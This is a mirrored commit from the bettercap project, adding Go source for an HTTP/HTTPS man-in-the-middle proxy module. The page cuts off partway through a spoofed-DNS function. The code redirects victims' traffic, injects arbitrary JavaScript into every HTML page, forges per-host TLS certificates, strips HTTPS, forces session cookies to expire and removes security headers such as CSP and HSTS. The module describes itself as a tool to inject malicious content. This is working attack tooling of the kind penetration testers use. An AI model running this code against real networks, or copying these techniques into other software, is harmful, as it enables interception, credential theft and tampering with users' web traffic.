mirror of
https://github.com/bettercap/bettercap
synced 2025-08-14 10:46:57 -07:00
Refactoring modules
This commit is contained in:
parent
c0d3c314fc
commit
ed652622e2
89 changed files with 186 additions and 138 deletions
114
modules/http_proxy/http_proxy.go
Normal file
114
modules/http_proxy/http_proxy.go
Normal file
|
@ -0,0 +1,114 @@
|
|||
package http_proxy
|
||||
|
||||
import (
|
||||
"github.com/bettercap/bettercap/session"
|
||||
)
|
||||
|
||||
type HttpProxy struct {
|
||||
session.SessionModule
|
||||
proxy *HTTPProxy
|
||||
}
|
||||
|
||||
func NewHttpProxy(s *session.Session) *HttpProxy {
|
||||
p := &HttpProxy{
|
||||
SessionModule: session.NewSessionModule("http.proxy", s),
|
||||
proxy: NewHTTPProxy(s),
|
||||
}
|
||||
|
||||
p.AddParam(session.NewIntParameter("http.port",
|
||||
"80",
|
||||
"HTTP port to redirect when the proxy is activated."))
|
||||
|
||||
p.AddParam(session.NewStringParameter("http.proxy.address",
|
||||
session.ParamIfaceAddress,
|
||||
session.IPv4Validator,
|
||||
"Address to bind the HTTP proxy to."))
|
||||
|
||||
p.AddParam(session.NewIntParameter("http.proxy.port",
|
||||
"8080",
|
||||
"Port to bind the HTTP proxy to."))
|
||||
|
||||
p.AddParam(session.NewStringParameter("http.proxy.script",
|
||||
"",
|
||||
"",
|
||||
"Path of a proxy JS script."))
|
||||
|
||||
p.AddParam(session.NewStringParameter("http.proxy.injectjs",
|
||||
"",
|
||||
"",
|
||||
"URL, path or javascript code to inject into every HTML page."))
|
||||
|
||||
p.AddParam(session.NewBoolParameter("http.proxy.sslstrip",
|
||||
"false",
|
||||
"Enable or disable SSL stripping."))
|
||||
|
||||
p.AddHandler(session.NewModuleHandler("http.proxy on", "",
|
||||
"Start HTTP proxy.",
|
||||
func(args []string) error {
|
||||
return p.Start()
|
||||
}))
|
||||
|
||||
p.AddHandler(session.NewModuleHandler("http.proxy off", "",
|
||||
"Stop HTTP proxy.",
|
||||
func(args []string) error {
|
||||
return p.Stop()
|
||||
}))
|
||||
|
||||
return p
|
||||
}
|
||||
|
||||
func (p *HttpProxy) Name() string {
|
||||
return "http.proxy"
|
||||
}
|
||||
|
||||
func (p *HttpProxy) Description() string {
|
||||
return "A full featured HTTP proxy that can be used to inject malicious contents into webpages, all HTTP traffic will be redirected to it."
|
||||
}
|
||||
|
||||
func (p *HttpProxy) Author() string {
|
||||
return "Simone Margaritelli <evilsocket@protonmail.com>"
|
||||
}
|
||||
|
||||
func (p *HttpProxy) Configure() error {
|
||||
var err error
|
||||
var address string
|
||||
var proxyPort int
|
||||
var httpPort int
|
||||
var scriptPath string
|
||||
var stripSSL bool
|
||||
var jsToInject string
|
||||
|
||||
if p.Running() {
|
||||
return session.ErrAlreadyStarted
|
||||
} else if err, address = p.StringParam("http.proxy.address"); err != nil {
|
||||
return err
|
||||
} else if err, proxyPort = p.IntParam("http.proxy.port"); err != nil {
|
||||
return err
|
||||
} else if err, httpPort = p.IntParam("http.port"); err != nil {
|
||||
return err
|
||||
} else if err, scriptPath = p.StringParam("http.proxy.script"); err != nil {
|
||||
return err
|
||||
} else if err, stripSSL = p.BoolParam("http.proxy.sslstrip"); err != nil {
|
||||
return err
|
||||
} else if err, jsToInject = p.StringParam("http.proxy.injectjs"); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return p.proxy.Configure(address, proxyPort, httpPort, scriptPath, jsToInject, stripSSL)
|
||||
}
|
||||
|
||||
func (p *HttpProxy) Start() error {
|
||||
if err := p.Configure(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return p.SetRunning(true, func() {
|
||||
p.proxy.Start()
|
||||
})
|
||||
}
|
||||
|
||||
func (p *HttpProxy) Stop() error {
|
||||
return p.SetRunning(false, func() {
|
||||
p.proxy.Stop()
|
||||
})
|
||||
}
|
364
modules/http_proxy/http_proxy_base.go
Normal file
364
modules/http_proxy/http_proxy_base.go
Normal file
|
@ -0,0 +1,364 @@
|
|||
package http_proxy
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bettercap/bettercap/firewall"
|
||||
"github.com/bettercap/bettercap/log"
|
||||
"github.com/bettercap/bettercap/session"
|
||||
btls "github.com/bettercap/bettercap/tls"
|
||||
|
||||
"github.com/elazarl/goproxy"
|
||||
"github.com/inconshreveable/go-vhost"
|
||||
|
||||
"github.com/evilsocket/islazy/fs"
|
||||
"github.com/evilsocket/islazy/tui"
|
||||
)
|
||||
|
||||
const (
|
||||
httpReadTimeout = 5 * time.Second
|
||||
httpWriteTimeout = 10 * time.Second
|
||||
)
|
||||
|
||||
type HTTPProxy struct {
|
||||
Name string
|
||||
Address string
|
||||
Server *http.Server
|
||||
Redirection *firewall.Redirection
|
||||
Proxy *goproxy.ProxyHttpServer
|
||||
Script *HttpProxyScript
|
||||
CertFile string
|
||||
KeyFile string
|
||||
|
||||
jsHook string
|
||||
isTLS bool
|
||||
isRunning bool
|
||||
stripper *SSLStripper
|
||||
sniListener net.Listener
|
||||
sess *session.Session
|
||||
}
|
||||
|
||||
func stripPort(s string) string {
|
||||
ix := strings.IndexRune(s, ':')
|
||||
if ix == -1 {
|
||||
return s
|
||||
}
|
||||
return s[:ix]
|
||||
}
|
||||
|
||||
func NewHTTPProxy(s *session.Session) *HTTPProxy {
|
||||
p := &HTTPProxy{
|
||||
Name: "http.proxy",
|
||||
Proxy: goproxy.NewProxyHttpServer(),
|
||||
sess: s,
|
||||
stripper: NewSSLStripper(s, false),
|
||||
isTLS: false,
|
||||
Server: nil,
|
||||
}
|
||||
|
||||
p.Proxy.Verbose = false
|
||||
p.Proxy.Logger.SetOutput(ioutil.Discard)
|
||||
|
||||
p.Proxy.NonproxyHandler = http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {
|
||||
if p.doProxy(req) {
|
||||
if !p.isTLS {
|
||||
req.URL.Scheme = "http"
|
||||
}
|
||||
req.URL.Host = req.Host
|
||||
p.Proxy.ServeHTTP(w, req)
|
||||
}
|
||||
})
|
||||
|
||||
p.Proxy.OnRequest().HandleConnect(goproxy.AlwaysMitm)
|
||||
p.Proxy.OnRequest().DoFunc(p.onRequestFilter)
|
||||
p.Proxy.OnResponse().DoFunc(p.onResponseFilter)
|
||||
|
||||
return p
|
||||
}
|
||||
|
||||
func (p *HTTPProxy) doProxy(req *http.Request) bool {
|
||||
blacklist := []string{
|
||||
"localhost",
|
||||
"127.0.0.1",
|
||||
}
|
||||
|
||||
if req.Host == "" {
|
||||
log.Error("Got request with empty host: %v", req)
|
||||
return false
|
||||
}
|
||||
|
||||
host := strings.Split(req.Host, ":")[0]
|
||||
for _, blacklisted := range blacklist {
|
||||
if host == blacklisted {
|
||||
log.Error("Got request with blacklisted host: %s", req.Host)
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
func (p *HTTPProxy) Configure(address string, proxyPort int, httpPort int, scriptPath string, jsToInject string, stripSSL bool) error {
|
||||
var err error
|
||||
|
||||
p.stripper.Enable(stripSSL)
|
||||
p.Address = address
|
||||
|
||||
if strings.HasPrefix(jsToInject, "http://") || strings.HasPrefix(jsToInject, "https://") {
|
||||
p.jsHook = fmt.Sprintf("<script src=\"%s\" type=\"text/javascript\"></script></head>", jsToInject)
|
||||
} else if fs.Exists(jsToInject) {
|
||||
if data, err := ioutil.ReadFile(jsToInject); err != nil {
|
||||
return err
|
||||
} else {
|
||||
jsToInject = string(data)
|
||||
}
|
||||
}
|
||||
|
||||
if p.jsHook == "" && jsToInject != "" {
|
||||
if !strings.HasPrefix(jsToInject, "<script ") {
|
||||
jsToInject = fmt.Sprintf("<script type=\"text/javascript\">%s</script>", jsToInject)
|
||||
}
|
||||
p.jsHook = fmt.Sprintf("%s</head>", jsToInject)
|
||||
}
|
||||
|
||||
if scriptPath != "" {
|
||||
if err, p.Script = LoadHttpProxyScript(scriptPath, p.sess); err != nil {
|
||||
return err
|
||||
} else {
|
||||
log.Debug("Proxy script %s loaded.", scriptPath)
|
||||
}
|
||||
}
|
||||
|
||||
p.Server = &http.Server{
|
||||
Addr: fmt.Sprintf("%s:%d", p.Address, proxyPort),
|
||||
Handler: p.Proxy,
|
||||
ReadTimeout: httpReadTimeout,
|
||||
WriteTimeout: httpWriteTimeout,
|
||||
}
|
||||
|
||||
if !p.sess.Firewall.IsForwardingEnabled() {
|
||||
log.Info("Enabling forwarding.")
|
||||
p.sess.Firewall.EnableForwarding(true)
|
||||
}
|
||||
|
||||
p.Redirection = firewall.NewRedirection(p.sess.Interface.Name(),
|
||||
"TCP",
|
||||
httpPort,
|
||||
p.Address,
|
||||
proxyPort)
|
||||
|
||||
if err := p.sess.Firewall.EnableRedirection(p.Redirection, true); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
log.Debug("Applied redirection %s", p.Redirection.String())
|
||||
|
||||
p.sess.UnkCmdCallback = func(cmd string) bool {
|
||||
if p.Script != nil {
|
||||
return p.Script.OnCommand(cmd)
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func TLSConfigFromCA(ca *tls.Certificate) func(host string, ctx *goproxy.ProxyCtx) (*tls.Config, error) {
|
||||
return func(host string, ctx *goproxy.ProxyCtx) (c *tls.Config, err error) {
|
||||
parts := strings.SplitN(host, ":", 2)
|
||||
hostname := parts[0]
|
||||
port := 443
|
||||
if len(parts) > 1 {
|
||||
port, err = strconv.Atoi(parts[1])
|
||||
if err != nil {
|
||||
port = 443
|
||||
}
|
||||
}
|
||||
|
||||
cert := getCachedCert(hostname, port)
|
||||
if cert == nil {
|
||||
log.Debug("Creating spoofed certificate for %s:%d", tui.Yellow(hostname), port)
|
||||
cert, err = btls.SignCertificateForHost(ca, hostname, port)
|
||||
if err != nil {
|
||||
log.Warning("Cannot sign host certificate with provided CA: %s", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
setCachedCert(hostname, port, cert)
|
||||
}
|
||||
|
||||
config := tls.Config{
|
||||
InsecureSkipVerify: true,
|
||||
Certificates: []tls.Certificate{*cert},
|
||||
}
|
||||
|
||||
return &config, nil
|
||||
}
|
||||
}
|
||||
|
||||
func (p *HTTPProxy) ConfigureTLS(address string, proxyPort int, httpPort int, scriptPath string, certFile string, keyFile string, jsToInject string, stripSSL bool) (err error) {
|
||||
if p.Configure(address, proxyPort, httpPort, scriptPath, jsToInject, stripSSL); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
p.isTLS = true
|
||||
p.Name = "https.proxy"
|
||||
p.CertFile = certFile
|
||||
p.KeyFile = keyFile
|
||||
|
||||
rawCert, _ := ioutil.ReadFile(p.CertFile)
|
||||
rawKey, _ := ioutil.ReadFile(p.KeyFile)
|
||||
ourCa, err := tls.X509KeyPair(rawCert, rawKey)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if ourCa.Leaf, err = x509.ParseCertificate(ourCa.Certificate[0]); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
goproxy.GoproxyCa = ourCa
|
||||
goproxy.OkConnect = &goproxy.ConnectAction{Action: goproxy.ConnectAccept, TLSConfig: TLSConfigFromCA(&ourCa)}
|
||||
goproxy.MitmConnect = &goproxy.ConnectAction{Action: goproxy.ConnectMitm, TLSConfig: TLSConfigFromCA(&ourCa)}
|
||||
goproxy.HTTPMitmConnect = &goproxy.ConnectAction{Action: goproxy.ConnectHTTPMitm, TLSConfig: TLSConfigFromCA(&ourCa)}
|
||||
goproxy.RejectConnect = &goproxy.ConnectAction{Action: goproxy.ConnectReject, TLSConfig: TLSConfigFromCA(&ourCa)}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *HTTPProxy) httpWorker() error {
|
||||
p.isRunning = true
|
||||
return p.Server.ListenAndServe()
|
||||
}
|
||||
|
||||
type dumbResponseWriter struct {
|
||||
net.Conn
|
||||
}
|
||||
|
||||
func (dumb dumbResponseWriter) Header() http.Header {
|
||||
panic("Header() should not be called on this ResponseWriter")
|
||||
}
|
||||
|
||||
func (dumb dumbResponseWriter) Write(buf []byte) (int, error) {
|
||||
if bytes.Equal(buf, []byte("HTTP/1.0 200 OK\r\n\r\n")) {
|
||||
return len(buf), nil // throw away the HTTP OK response from the faux CONNECT request
|
||||
}
|
||||
return dumb.Conn.Write(buf)
|
||||
}
|
||||
|
||||
func (dumb dumbResponseWriter) WriteHeader(code int) {
|
||||
panic("WriteHeader() should not be called on this ResponseWriter")
|
||||
}
|
||||
|
||||
func (dumb dumbResponseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) {
|
||||
return dumb, bufio.NewReadWriter(bufio.NewReader(dumb), bufio.NewWriter(dumb)), nil
|
||||
}
|
||||
|
||||
func (p *HTTPProxy) httpsWorker() error {
|
||||
var err error
|
||||
|
||||
// listen to the TLS ClientHello but make it a CONNECT request instead
|
||||
p.sniListener, err = net.Listen("tcp", p.Server.Addr)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
p.isRunning = true
|
||||
for p.isRunning {
|
||||
c, err := p.sniListener.Accept()
|
||||
if err != nil {
|
||||
log.Warning("error accepting connection: %s.", err)
|
||||
continue
|
||||
}
|
||||
|
||||
go func(c net.Conn) {
|
||||
now := time.Now()
|
||||
c.SetReadDeadline(now.Add(httpReadTimeout))
|
||||
c.SetWriteDeadline(now.Add(httpWriteTimeout))
|
||||
|
||||
tlsConn, err := vhost.TLS(c)
|
||||
if err != nil {
|
||||
log.Warning("error reading SNI: %s.", err)
|
||||
return
|
||||
}
|
||||
|
||||
hostname := tlsConn.Host()
|
||||
if hostname == "" {
|
||||
log.Warning("client does not support SNI.")
|
||||
return
|
||||
}
|
||||
|
||||
log.Debug("[%s] proxying connection from %s to %s", tui.Green("https.proxy"), tui.Bold(stripPort(c.RemoteAddr().String())), tui.Yellow(hostname))
|
||||
|
||||
req := &http.Request{
|
||||
Method: "CONNECT",
|
||||
URL: &url.URL{
|
||||
Opaque: hostname,
|
||||
Host: net.JoinHostPort(hostname, "443"),
|
||||
},
|
||||
Host: hostname,
|
||||
Header: make(http.Header),
|
||||
}
|
||||
p.Proxy.ServeHTTP(dumbResponseWriter{tlsConn}, req)
|
||||
}(c)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *HTTPProxy) Start() {
|
||||
go func() {
|
||||
var err error
|
||||
|
||||
strip := tui.Yellow("enabled")
|
||||
if !p.stripper.Enabled() {
|
||||
strip = tui.Dim("disabled")
|
||||
}
|
||||
|
||||
log.Info("%s started on %s (sslstrip %s)", tui.Green(p.Name), p.Server.Addr, strip)
|
||||
|
||||
if p.isTLS {
|
||||
err = p.httpsWorker()
|
||||
} else {
|
||||
err = p.httpWorker()
|
||||
}
|
||||
|
||||
if err != nil && err.Error() != "http: Server closed" {
|
||||
log.Fatal("%s", err)
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
func (p *HTTPProxy) Stop() error {
|
||||
if p.Redirection != nil {
|
||||
log.Debug("Disabling redirection %s", p.Redirection.String())
|
||||
if err := p.sess.Firewall.EnableRedirection(p.Redirection, false); err != nil {
|
||||
return err
|
||||
}
|
||||
p.Redirection = nil
|
||||
}
|
||||
|
||||
p.sess.UnkCmdCallback = nil
|
||||
|
||||
if p.isTLS {
|
||||
p.isRunning = false
|
||||
p.sniListener.Close()
|
||||
return nil
|
||||
} else {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||
defer cancel()
|
||||
return p.Server.Shutdown(ctx)
|
||||
}
|
||||
}
|
84
modules/http_proxy/http_proxy_base_cookietracker.go
Normal file
84
modules/http_proxy/http_proxy_base_cookietracker.go
Normal file
|
@ -0,0 +1,84 @@
|
|||
package http_proxy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/http"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/bettercap/bettercap/log"
|
||||
|
||||
"github.com/elazarl/goproxy"
|
||||
"github.com/jpillora/go-tld"
|
||||
)
|
||||
|
||||
type CookieTracker struct {
|
||||
sync.RWMutex
|
||||
set map[string]bool
|
||||
}
|
||||
|
||||
func NewCookieTracker() *CookieTracker {
|
||||
return &CookieTracker{
|
||||
set: make(map[string]bool),
|
||||
}
|
||||
}
|
||||
|
||||
func (t *CookieTracker) domainOf(req *http.Request) string {
|
||||
if parsed, err := tld.Parse(req.Host); err != nil {
|
||||
log.Warning("Could not parse host %s: %s", req.Host, err)
|
||||
return req.Host
|
||||
} else {
|
||||
return fmt.Sprintf("%s.%s", parsed.Domain, parsed.TLD)
|
||||
}
|
||||
}
|
||||
|
||||
func (t *CookieTracker) keyOf(req *http.Request) string {
|
||||
client := strings.Split(req.RemoteAddr, ":")[0]
|
||||
domain := t.domainOf(req)
|
||||
return fmt.Sprintf("%s-%s", client, domain)
|
||||
}
|
||||
|
||||
func (t *CookieTracker) IsClean(req *http.Request) bool {
|
||||
// we only clean GET requests
|
||||
if req.Method != "GET" {
|
||||
return true
|
||||
}
|
||||
|
||||
// does the request have any cookie?
|
||||
cookie := req.Header.Get("Cookie")
|
||||
if cookie == "" {
|
||||
return true
|
||||
}
|
||||
|
||||
t.RLock()
|
||||
defer t.RUnlock()
|
||||
|
||||
// was it already processed?
|
||||
if _, found := t.set[t.keyOf(req)]; found {
|
||||
return true
|
||||
}
|
||||
|
||||
// unknown session cookie
|
||||
return false
|
||||
}
|
||||
|
||||
func (t *CookieTracker) Track(req *http.Request) {
|
||||
t.Lock()
|
||||
defer t.Unlock()
|
||||
t.set[t.keyOf(req)] = true
|
||||
}
|
||||
|
||||
func (t *CookieTracker) Expire(req *http.Request) *http.Response {
|
||||
domain := t.domainOf(req)
|
||||
redir := goproxy.NewResponse(req, "text/plain", 302, "")
|
||||
|
||||
for _, c := range req.Cookies() {
|
||||
redir.Header.Add("Set-Cookie", fmt.Sprintf("%s=EXPIRED; path=/; domain=%s; Expires=Mon, 01-Jan-1990 00:00:00 GMT", c.Name, domain))
|
||||
redir.Header.Add("Set-Cookie", fmt.Sprintf("%s=EXPIRED; path=/; domain=%s; Expires=Mon, 01-Jan-1990 00:00:00 GMT", c.Name, c.Domain))
|
||||
}
|
||||
|
||||
redir.Header.Add("Location", fmt.Sprintf("http://%s/", req.Host))
|
||||
redir.Header.Add("Connection", "close")
|
||||
|
||||
return redir
|
||||
}
|
187
modules/http_proxy/http_proxy_base_filters.go
Normal file
187
modules/http_proxy/http_proxy_base_filters.go
Normal file
|
@ -0,0 +1,187 @@
|
|||
package http_proxy
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"github.com/bettercap/bettercap/log"
|
||||
|
||||
"github.com/elazarl/goproxy"
|
||||
|
||||
"github.com/evilsocket/islazy/tui"
|
||||
)
|
||||
|
||||
func (p *HTTPProxy) fixRequestHeaders(req *http.Request) {
|
||||
req.Header.Del("Accept-Encoding")
|
||||
req.Header.Del("If-None-Match")
|
||||
req.Header.Del("If-Modified-Since")
|
||||
req.Header.Del("Upgrade-Insecure-Requests")
|
||||
req.Header.Set("Pragma", "no-cache")
|
||||
}
|
||||
|
||||
func (p *HTTPProxy) onRequestFilter(req *http.Request, ctx *goproxy.ProxyCtx) (*http.Request, *http.Response) {
|
||||
log.Debug("(%s) < %s %s %s%s", tui.Green(p.Name), req.RemoteAddr, req.Method, req.Host, req.URL.Path)
|
||||
|
||||
p.fixRequestHeaders(req)
|
||||
|
||||
redir := p.stripper.Preprocess(req, ctx)
|
||||
if redir != nil {
|
||||
// we need to redirect the user in order to make
|
||||
// some session cookie expire
|
||||
return req, redir
|
||||
}
|
||||
|
||||
// do we have a proxy script?
|
||||
if p.Script == nil {
|
||||
return req, nil
|
||||
}
|
||||
|
||||
// run the module OnRequest callback if defined
|
||||
jsreq, jsres := p.Script.OnRequest(req)
|
||||
if jsreq != nil {
|
||||
// the request has been changed by the script
|
||||
p.logRequestAction(req, jsreq)
|
||||
return jsreq.ToRequest(), nil
|
||||
} else if jsres != nil {
|
||||
// a fake response has been returned by the script
|
||||
p.logResponseAction(req, jsres)
|
||||
return req, jsres.ToResponse(req)
|
||||
}
|
||||
|
||||
return req, nil
|
||||
}
|
||||
|
||||
func (p *HTTPProxy) fixResponseHeaders(res *http.Response) {
|
||||
res.Header.Del("Content-Security-Policy-Report-Only")
|
||||
res.Header.Del("Content-Security-Policy")
|
||||
res.Header.Del("Strict-Transport-Security")
|
||||
res.Header.Del("Public-Key-Pins")
|
||||
res.Header.Del("Public-Key-Pins-Report-Only")
|
||||
res.Header.Del("X-Frame-Options")
|
||||
res.Header.Del("X-Content-Type-Options")
|
||||
res.Header.Del("X-WebKit-CSP")
|
||||
res.Header.Del("X-Content-Security-Policy")
|
||||
res.Header.Del("X-Download-Options")
|
||||
res.Header.Del("X-Permitted-Cross-Domain-Policies")
|
||||
res.Header.Del("X-Xss-Protection")
|
||||
res.Header.Set("Allow-Access-From-Same-Origin", "*")
|
||||
res.Header.Set("Access-Control-Allow-Origin", "*")
|
||||
res.Header.Set("Access-Control-Allow-Methods", "*")
|
||||
res.Header.Set("Access-Control-Allow-Headers", "*")
|
||||
}
|
||||
|
||||
func (p *HTTPProxy) getHeader(res *http.Response, header string) string {
|
||||
header = strings.ToLower(header)
|
||||
for name, values := range res.Header {
|
||||
for _, value := range values {
|
||||
if strings.ToLower(name) == header {
|
||||
return value
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (p *HTTPProxy) isScriptInjectable(res *http.Response) (bool, string) {
|
||||
if p.jsHook == "" {
|
||||
return false, ""
|
||||
} else if contentType := p.getHeader(res, "Content-Type"); strings.Contains(contentType, "text/html") {
|
||||
return true, contentType
|
||||
}
|
||||
return false, ""
|
||||
}
|
||||
|
||||
func (p *HTTPProxy) doScriptInjection(res *http.Response, cType string) (error, *http.Response) {
|
||||
defer res.Body.Close()
|
||||
|
||||
raw, err := ioutil.ReadAll(res.Body)
|
||||
if err != nil {
|
||||
return err, nil
|
||||
} else if html := string(raw); strings.Contains(html, "</head>") {
|
||||
log.Info("(%s) > injecting javascript (%d bytes) into %s (%d bytes) for %s",
|
||||
tui.Green(p.Name),
|
||||
len(p.jsHook),
|
||||
tui.Yellow(res.Request.Host+res.Request.URL.Path),
|
||||
len(raw),
|
||||
tui.Bold(strings.Split(res.Request.RemoteAddr, ":")[0]))
|
||||
|
||||
html = strings.Replace(html, "</head>", p.jsHook, -1)
|
||||
newResp := goproxy.NewResponse(res.Request, cType, res.StatusCode, html)
|
||||
for k, vv := range res.Header {
|
||||
for _, v := range vv {
|
||||
newResp.Header.Add(k, v)
|
||||
}
|
||||
}
|
||||
|
||||
return nil, newResp
|
||||
}
|
||||
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func (p *HTTPProxy) onResponseFilter(res *http.Response, ctx *goproxy.ProxyCtx) *http.Response {
|
||||
// sometimes it happens ¯\_(ツ)_/¯
|
||||
if res == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
log.Debug("(%s) > %s %s %s%s", tui.Green(p.Name), res.Request.RemoteAddr, res.Request.Method, res.Request.Host, res.Request.URL.Path)
|
||||
|
||||
p.fixResponseHeaders(res)
|
||||
|
||||
p.stripper.Process(res, ctx)
|
||||
|
||||
// do we have a proxy script?
|
||||
if p.Script != nil {
|
||||
_, jsres := p.Script.OnResponse(res)
|
||||
if jsres != nil {
|
||||
// the response has been changed by the script
|
||||
p.logResponseAction(res.Request, jsres)
|
||||
return jsres.ToResponse(res.Request)
|
||||
}
|
||||
}
|
||||
|
||||
// inject javascript code if specified and needed
|
||||
if doInject, cType := p.isScriptInjectable(res); doInject {
|
||||
if err, injectedResponse := p.doScriptInjection(res, cType); err != nil {
|
||||
log.Error("(%s) error while injecting javascript: %s", p.Name, err)
|
||||
} else if injectedResponse != nil {
|
||||
return injectedResponse
|
||||
}
|
||||
}
|
||||
|
||||
return res
|
||||
}
|
||||
|
||||
func (p *HTTPProxy) logRequestAction(req *http.Request, jsreq *JSRequest) {
|
||||
p.sess.Events.Add(p.Name+".spoofed-request", struct {
|
||||
To string
|
||||
Method string
|
||||
Host string
|
||||
Path string
|
||||
Size int
|
||||
}{
|
||||
strings.Split(req.RemoteAddr, ":")[0],
|
||||
jsreq.Method,
|
||||
jsreq.Hostname,
|
||||
jsreq.Path,
|
||||
len(jsreq.Body),
|
||||
})
|
||||
}
|
||||
|
||||
func (p *HTTPProxy) logResponseAction(req *http.Request, jsres *JSResponse) {
|
||||
p.sess.Events.Add(p.Name+".spoofed-response", struct {
|
||||
To string
|
||||
Method string
|
||||
Host string
|
||||
Path string
|
||||
Size int
|
||||
}{
|
||||
strings.Split(req.RemoteAddr, ":")[0],
|
||||
req.Method,
|
||||
req.Host,
|
||||
req.URL.Path,
|
||||
len(jsres.Body),
|
||||
})
|
||||
}
|
62
modules/http_proxy/http_proxy_base_hosttracker.go
Normal file
62
modules/http_proxy/http_proxy_base_hosttracker.go
Normal file
|
@ -0,0 +1,62 @@
|
|||
package http_proxy
|
||||
|
||||
import (
|
||||
"net"
|
||||
"sync"
|
||||
|
||||
"github.com/bettercap/bettercap/log"
|
||||
)
|
||||
|
||||
type Host struct {
|
||||
Hostname string
|
||||
Address net.IP
|
||||
Resolved sync.WaitGroup
|
||||
}
|
||||
|
||||
func NewHost(name string) *Host {
|
||||
h := &Host{
|
||||
Hostname: name,
|
||||
Address: nil,
|
||||
Resolved: sync.WaitGroup{},
|
||||
}
|
||||
|
||||
h.Resolved.Add(1)
|
||||
go func(ph *Host) {
|
||||
defer ph.Resolved.Done()
|
||||
if addrs, err := net.LookupIP(ph.Hostname); err == nil && len(addrs) > 0 {
|
||||
ph.Address = make(net.IP, len(addrs[0]))
|
||||
copy(ph.Address, addrs[0])
|
||||
} else {
|
||||
log.Error("Could not resolve %s: %s", ph.Hostname, err)
|
||||
ph.Address = nil
|
||||
}
|
||||
}(h)
|
||||
|
||||
return h
|
||||
}
|
||||
|
||||
type HostTracker struct {
|
||||
sync.RWMutex
|
||||
hosts map[string]*Host
|
||||
}
|
||||
|
||||
func NewHostTracker() *HostTracker {
|
||||
return &HostTracker{
|
||||
hosts: make(map[string]*Host),
|
||||
}
|
||||
}
|
||||
|
||||
func (t *HostTracker) Track(host, stripped string) {
|
||||
t.Lock()
|
||||
defer t.Unlock()
|
||||
t.hosts[stripped] = NewHost(host)
|
||||
}
|
||||
|
||||
func (t *HostTracker) Unstrip(stripped string) *Host {
|
||||
t.RLock()
|
||||
defer t.RUnlock()
|
||||
if host, found := t.hosts[stripped]; found {
|
||||
return host
|
||||
}
|
||||
return nil
|
||||
}
|
365
modules/http_proxy/http_proxy_base_sslstriper.go
Normal file
365
modules/http_proxy/http_proxy_base_sslstriper.go
Normal file
|
@ -0,0 +1,365 @@
|
|||
package http_proxy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"github.com/bettercap/bettercap/log"
|
||||
"github.com/bettercap/bettercap/packets"
|
||||
"github.com/bettercap/bettercap/session"
|
||||
|
||||
"github.com/elazarl/goproxy"
|
||||
"github.com/google/gopacket"
|
||||
"github.com/google/gopacket/layers"
|
||||
"github.com/google/gopacket/pcap"
|
||||
|
||||
"github.com/evilsocket/islazy/tui"
|
||||
)
|
||||
|
||||
var (
|
||||
maxRedirs = 5
|
||||
httpsLinksParser = regexp.MustCompile(`https://[^"'/]+`)
|
||||
subdomains = map[string]string{
|
||||
"www": "wwwww",
|
||||
"webmail": "wwebmail",
|
||||
"mail": "wmail",
|
||||
"m": "wmobile",
|
||||
}
|
||||
)
|
||||
|
||||
type SSLStripper struct {
|
||||
enabled bool
|
||||
session *session.Session
|
||||
cookies *CookieTracker
|
||||
hosts *HostTracker
|
||||
handle *pcap.Handle
|
||||
pktSourceChan chan gopacket.Packet
|
||||
redirs map[string]int
|
||||
}
|
||||
|
||||
func NewSSLStripper(s *session.Session, enabled bool) *SSLStripper {
|
||||
strip := &SSLStripper{
|
||||
enabled: false,
|
||||
cookies: NewCookieTracker(),
|
||||
hosts: NewHostTracker(),
|
||||
session: s,
|
||||
handle: nil,
|
||||
redirs: make(map[string]int),
|
||||
}
|
||||
strip.Enable(enabled)
|
||||
return strip
|
||||
}
|
||||
|
||||
func (s *SSLStripper) Enabled() bool {
|
||||
return s.enabled
|
||||
}
|
||||
|
||||
func (s *SSLStripper) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp *layers.UDP, domain string, address net.IP, req *layers.DNS, target net.HardwareAddr) {
|
||||
redir := fmt.Sprintf("(->%s)", address)
|
||||
who := target.String()
|
||||
|
||||
if t, found := s.session.Lan.Get(target.String()); found {
|
||||
who = t.String()
|
||||
}
|
||||
|
||||
log.Debug("[%s] Sending spoofed DNS reply for %s %s to %s.", tui.Green("dns"), tui.Red(domain), tui.Dim(redir), tui.Bold(who))
|
||||
|
||||
var err error
|
||||
var src, dst net.IP
|
||||
|
||||
nlayer := pkt.NetworkLayer()
|
||||
if nlayer == nil {
|
||||
log.Debug("Missing network layer skipping packet.")
|
||||
return
|
||||
}
|
||||
|
||||
pip := pkt.Layer(layers.LayerTypeIPv4).(*layers.IPv4)
|
||||
src = pip.DstIP
|
||||
dst = pip.SrcIP
|
||||
|
||||
eth := layers.Ethernet{
